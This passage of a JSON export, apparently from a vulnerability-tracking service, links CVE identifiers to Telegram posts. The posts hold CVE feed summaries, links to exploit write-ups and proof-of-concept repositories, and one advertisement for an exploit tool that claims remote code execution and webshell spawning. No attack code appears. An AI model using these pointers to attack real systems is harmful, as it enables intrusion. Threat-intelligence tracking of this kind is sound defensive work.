\"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:39.000000Z"}, {"uuid": "96b2e24d-45ba-4464-b17f-71e393554cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12147", "type": "seen", "source": "https://t.me/cvedetector/12025", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12147 - A vulnerability was found in Netgear R6900 1.0.1.2\", \n  \"Content\": \"CVE ID : CVE-2024-12147 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : A vulnerability was found in Netgear R6900 1.0.1.26_1.0.20. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file upgrade_check.cgi of the component HTTP Header Handler. The manipulation of the argument Content-Length leads to buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:45.000000Z"}, {"uuid": "14f3f664-08d4-49ef-80a6-51f99ed710a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12056", "type": "seen", "source": "https://t.me/cvedetector/12009", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12056 - Apache OAuth Client Unauthorized Access Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12056 \nPublished : Dec. 4, 2024, 3:15 p.m. | 18\u00a0minutes ago \nDescription : The Client secret is not checked when using the OAuth Password grant type.  \n  \nBy exploiting this vulnerability, an attacker could connect to a web server using a client application not explicitly authorized as part of the OAuth deployment.  \nExploitation requires valid credentials and does not permit the attacker to bypass user privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T16:45:47.000000Z"}, {"uuid": "ca107210-b4a1-4ce9-9f79-0fbc7ea8b203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12138", "type": "seen", "source": "https://t.me/cvedetector/11991", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12138 - A vulnerability classified as critical was found i\", \n  \"Content\": \"CVE ID : CVE-2024-12138 \nPublished : Dec. 4, 2024, 2:15 p.m. | 31\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in horilla up to 1.2.1. This vulnerability affects the function request_new/get_employee_shift/create_reimbursement/key_result_current_value_update/create_meetings/create_skills. The manipulation leads to deserialization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T15:55:04.000000Z"}, {"uuid": "767e3e5e-32f5-481d-86a1-f86c4d78cda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12107", "type": "seen", "source": "https://t.me/cvedetector/11973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12107 - Double-Free Vulnerability in uD3TN BPv7 Caused by\", \n  \"Content\": \"CVE ID : CVE-2024-12107 \nPublished : Dec. 4, 2024, 11:15 a.m. | 1\u00a0hour, 8\u00a0minutes ago \nDescription : Double-Free Vulnerability in uD3TN BPv7 Caused by Malformed Endpoint Identifier allows remote attacker to reliably cause DoS \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T13:24:26.000000Z"}, {"uuid": "8888b1eb-72c8-4fc3-9386-267c94c65932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12123", "type": "seen", "source": "https://t.me/cvedetector/11948", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12123 - A hidden field manipulation vulnerability was iden\", \n  \"Content\": \"CVE ID : CVE-2024-12123 \nPublished : Dec. 4, 2024, 4:15 a.m. | 29\u00a0minutes ago \nDescription : A hidden field manipulation vulnerability was identified in Issuetrak version 17.1 that could be triggered by an authenticated user.\u00a0  \n  \nWhen an authenticated user submits a ticket, the request can be intercepted and subsequently modified by using a proxy.\u00a0 The ticket requester can be changed from the original requester to another user in the same application,   \nwhich the application then accepts. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T05:52:54.000000Z"}, {"uuid": "21970756-6667-4db0-b72e-77a209c66884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12099", "type": "seen", "source": "https://t.me/cvedetector/11947", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12099 - The Dollie Hub \u2013 Build Your Own WordPress Cloud Pl\", \n  \"Content\": \"CVE ID : CVE-2024-12099 \nPublished : Dec. 4, 2024, 4:15 a.m. | 29\u00a0minutes ago \nDescription : The Dollie Hub \u2013 Build Your Own WordPress Cloud Platform plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 6.2.0 via the 'elementor-template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from password protected, private, or draft posts that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T05:52:53.000000Z"}, {"uuid": "558cabbc-4fdf-4671-8822-811a6fa07d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12062", "type": "seen", "source": "https://t.me/cvedetector/11877", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12062 - Elementor Charity Addon WordPress Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12062 \nPublished : Dec. 3, 2024, 10:15 a.m. | 1\u00a0hour ago \nDescription : The Charity Addon for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.3.2 via the 'nacharity_elementor_template' shortcode due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T12:19:19.000000Z"}, {"uuid": "39a6acd4-91eb-4852-9463-3d396ac8455c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12000", "type": "seen", "source": "https://t.me/cvedetector/11699", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12000 - A vulnerability was found in code-projects Blood B\", \n  \"Content\": \"CVE ID : CVE-2024-12000 \nPublished : Nov. 30, 2024, 12:15 p.m. | 8\u00a0hours, 57\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Blood Bank System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /controllers/updatesettings.php of the component Setting Handler. The manipulation of the argument firstname leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-30T22:25:58.000000Z"}, {"uuid": "5fc49076-7793-41f0-9ba5-bbfe4089368d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12007", "type": "seen", "source": "https://t.me/cvedetector/11732", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12007 - \"Farmacia Code-Projects SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12007 \nPublished : Dec. 1, 2024, 11:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in code-projects Farmacia 1.0. This affects an unknown part of the file /visualizar-produto.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-02T01:11:24.000000Z"}, {"uuid": "1a2bce10-8a5d-4e6e-8364-b234036fe1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12002", "type": "seen", "source": "https://t.me/cvedetector/11698", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12002 - A vulnerability classified as problematic was foun\", \n  \"Content\": \"CVE ID : CVE-2024-12002 \nPublished : Nov. 30, 2024, 1:15 p.m. | 7\u00a0hours, 58\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in Tenda FH451, FH1201, FH1202 and FH1206 up to 20241129. Affected by this vulnerability is the function websReadEvent of the file /goform/GetIPTV. The manipulation of the argument Content-Length leads to null pointer dereference. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-30T22:25:57.000000Z"}, {"uuid": "fc9d9869-59ae-4d0d-b2e0-6b854cbe23ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12001", "type": "seen", "source": "https://t.me/cvedetector/11697", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12001 - A vulnerability classified as problematic has been\", \n  \"Content\": \"CVE ID : CVE-2024-12001 \nPublished : Nov. 30, 2024, 1:15 p.m. | 7\u00a0hours, 58\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in code-projects Wazifa System 1.0. Affected is an unknown function of the file /controllers/updatesettings.php of the component Setting Handler. The manipulation of the argument firstname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-30T22:25:56.000000Z"}, {"uuid": "d2587000-02a7-4437-8f5d-42e128b2394c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://t.me/cvedetector/12242", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12254 - Starting in Python 3.12.0, the asyncio._SelectorSo\", \n  \"Content\": \"CVE ID : CVE-2024-12254 \nPublished : Dec. 6, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : Starting in Python 3.12.0, the asyncio._SelectorSocketTransport.writelines()  \n method would not \"pause\" writing and signal to the Protocol to drain   \nthe buffer to the wire once the write buffer reached the \"high-water   \nmark\". Because of this, Protocols would not periodically drain the write  \n buffer potentially leading to memory exhaustion.  \n  \n  \n  \n  \n  \nThis  \n vulnerability likely impacts a small number of users, you must be using  \n Python 3.12.0 or later, on macOS or Linux, using the asyncio module   \nwith protocols, and using .writelines() method which had new   \nzero-copy-on-write behavior in Python 3.12.0 and later. If not all of   \nthese factors are true then your usage of Python is unaffected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:08:03.000000Z"}, {"uuid": "c8372dfd-4c72-4609-9095-9e0974324308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2483", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:48.000000Z"}, {"uuid": "6401f4e4-a913-4a19-8af1-3555dff0dd9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2483", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T05:23:48.000000Z"}, {"uuid": "768481af-b630-4625-8d84-6d4f09758f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1240", "type": "seen", "source": "https://t.me/cvedetector/11057", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1240 - Pyload Open Redirection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-1240 \nPublished : Nov. 15, 2024, 11:15 a.m. | 36\u00a0minutes ago \nDescription : An open redirection vulnerability exists in pyload/pyload version 0.5.0. The vulnerability is due to improper handling of the 'next' parameter in the login functionality. An attacker can exploit this vulnerability to redirect users to malicious sites, which can be used for phishing or other malicious activities. The issue is fixed in pyload-ng 0.5.0b3.dev79. \nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T13:15:29.000000Z"}, {"uuid": "e0f7d352-3de8-4a3e-a653-02dd367485e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2471", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "26586ba4-ed62-4348-bfce-3e46fc53212e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "Telegram/d3wapHx4e5UMaurKFu99a9rpgFA32RWvNf4YSo1Syv_vjw", "content": "", "creation_timestamp": "2024-12-31T20:05:48.000000Z"}, {"uuid": "cdadde42-bf55-4f00-8c11-5857e2872165", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/2471", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "40f8594e-7caa-4d57-a7b1-ff7a261e2ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12797", "type": "seen", "source": "Telegram/0OKLswXosOTSdD7vyDBRQqLCjWkZAUSEQtrSX3nomLwKk1cc", "content": "", "creation_timestamp": "2025-02-18T21:11:31.000000Z"}, {"uuid": "9f7a2254-f903-463b-8f87-70957218bb03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12813", "type": "seen", "source": "Telegram/uT3oBiDHaaErg6YjdyM3A0jMBu4e653aEwwjBhKBdMx0CZ2u", "content": "", "creation_timestamp": "2025-02-18T11:39:00.000000Z"}, {"uuid": "1ffb8985-2bb3-4100-8dbd-7e6a2aac3ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12525", "type": "seen", "source": "Telegram/88kUvKzsCMqRP0cHDRv5CPS_kyuFqC1uAYFlqTqdmags3_kJ", "content": "", "creation_timestamp": "2025-02-18T11:39:00.000000Z"}, {"uuid": "10e5717a-2542-497f-ad6d-b8e18fdbeda0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12314", "type": "seen", "source": "Telegram/qsk_LT-2N1HoNGZ5N4XYTgpUNmj9CPuM0aNZAvOWHRDugzsb", "content": "", "creation_timestamp": "2025-02-18T11:38:59.000000Z"}, {"uuid": "0b9594c9-fc47-4b0c-b0b2-d92e41221372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "Telegram/Fb_mBeNfRi5FKSAvr7kSbpuWfdEci1FShbjUFuY7Z82Rg5qm", "content": "", "creation_timestamp": "2025-02-15T23:50:18.000000Z"}, {"uuid": "f66c49f9-1730-481d-be97-e3ef54e4cf2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12837", "type": "seen", "source": "Telegram/FlG8x61V-znZvoIp_7YSsDCNrg0-5ybd9nom7Qh6ZcA3rlFq", "content": "", "creation_timestamp": "2025-03-08T04:34:57.000000Z"}, {"uuid": "5589e23e-2cd0-4d3d-bc64-a96e52bd55dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://t.me/CyberBulletin/2552", "content": "\u26a1CVE-2024-12799 (CVSS 10): OpenText Identity Manager Vulnerability Exposes Sensitive Information.\n\n#CyberBulletin", "creation_timestamp": "2025-03-10T14:44:35.000000Z"}, {"uuid": "faace5d4-88c5-4320-a15c-e5f8d60fd7fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12562", "type": "seen", "source": "https://t.me/CyberBulletin/2496", "content": "\u26a1CVE-2024-12562: Critical s2Member Pro Flaw Leaves Millions of WordPress Sites Vulnerable.\n\n#CyberBulletin", "creation_timestamp": "2025-03-06T02:39:05.000000Z"}, {"uuid": "0c1ce3d4-211e-4cf0-b02b-e498c1690faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/CyberBulletin/2359", "content": "\u26a1CVE-2024-12284 in NetScaler Console Exposes Systems to Unauthorized Command Execution.\n\n#CyberBulletin", "creation_timestamp": "2025-02-20T11:15:40.000000Z"}, {"uuid": "60e335a1-bcbd-4d7a-822c-ea0da3b98dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1287", "type": "seen", "source": "https://t.me/cvedetector/1988", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1287 - WordPress pmpro-member-directory Password Hash Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-1287 \nPublished : July 30, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The pmpro-member-directory WordPress plugin before 1.2.6 does not prevent users with at least the contributor role from leaking other users' sensitive information, including password hashes. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:02:47.000000Z"}, {"uuid": "dab80744-6264-4333-a125-8e5abc3601a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1286", "type": "seen", "source": "https://t.me/cvedetector/1993", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-1286 - WordPress pmpro-membership-maps Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-1286 \nPublished : July 30, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : The pmpro-membership-maps WordPress plugin before 0.7 does not prevent users with at least the contributor role from leaking sensitive information about users with a membership on the site. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:02:54.000000Z"}, {"uuid": "bdf33ea8-e4a4-429e-942e-237257bcc505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12857", "type": "seen", "source": "https://t.me/CyberBulletin/2127", "content": "\u26a1CVE-2024-12857: Critical Flaw in AdForest Theme Allows Complete Account Takeover, Thousands of Sites at Risk.\n\n#CyberBulletin", "creation_timestamp": "2025-01-22T04:35:42.000000Z"}, {"uuid": "a0dadb9b-e4a9-4511-afdf-d610b7f3c524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "published-proof-of-concept", "source": "Telegram/l3e32rH5Vr1G0LWCEJnjtgeMTZSnq6j1vh42vzGIavOEvA", "content": "", "creation_timestamp": "2025-03-11T07:54:59.000000Z"}, {"uuid": "b7a76eb7-ed86-4782-8eca-340609cd0470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "published-proof-of-concept", "source": "https://t.me/HackerArsenal/768", "content": "#exploit\n1. A Practical Guide to PrintNightmare in 2024 (updated\u00a0Oct 5)\nhttps://itm4n.github.io/printnightmare-exploitation\n]-> PnP bypass\n\n2. CVE-2024-12209:\nWP Umbrella Unauthenticated LFI\nhttps://github.com/Nxploited/CVE-2024-12209\n\n3. CVE-2024-30085:\nWindows 11 23H2 EoP\nhttps://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe", "creation_timestamp": "2024-12-24T12:49:11.000000Z"}, {"uuid": "73678c8c-5a5d-4cf1-a65b-21475d961898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1249", "type": "published-proof-of-concept", "source": "Telegram/AYGigyb7bOI-l9nq-PuAkRB-nQFQFEF-wkKTAebgd39D8ZQ", "content": "", "creation_timestamp": "2024-07-11T09:31:44.000000Z"}, {"uuid": "5eed09f4-ae8d-4d5b-aba5-8c7c15e11e19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1249", "type": "published-proof-of-concept", "source": "Telegram/UovLr4ewWQ2XAxNzpKZ2wpAfsjYTp2uAD40OfYILXWxB2Vk", "content": "", "creation_timestamp": "2024-07-11T08:57:40.000000Z"}, {"uuid": "974ef64a-ad19-482e-9a1d-2756159c1e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/6704", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-20T05:23:47.000000Z"}, {"uuid": "6c1c7a8d-41ba-42c6-884a-cdcbb115f706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/bexsop/370", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-14T13:46:34.000000Z"}, {"uuid": "11930426-6d40-4698-882d-1e984bf25ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/ViralCyber/10788", "content": "\u26a0\ufe0f\u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc 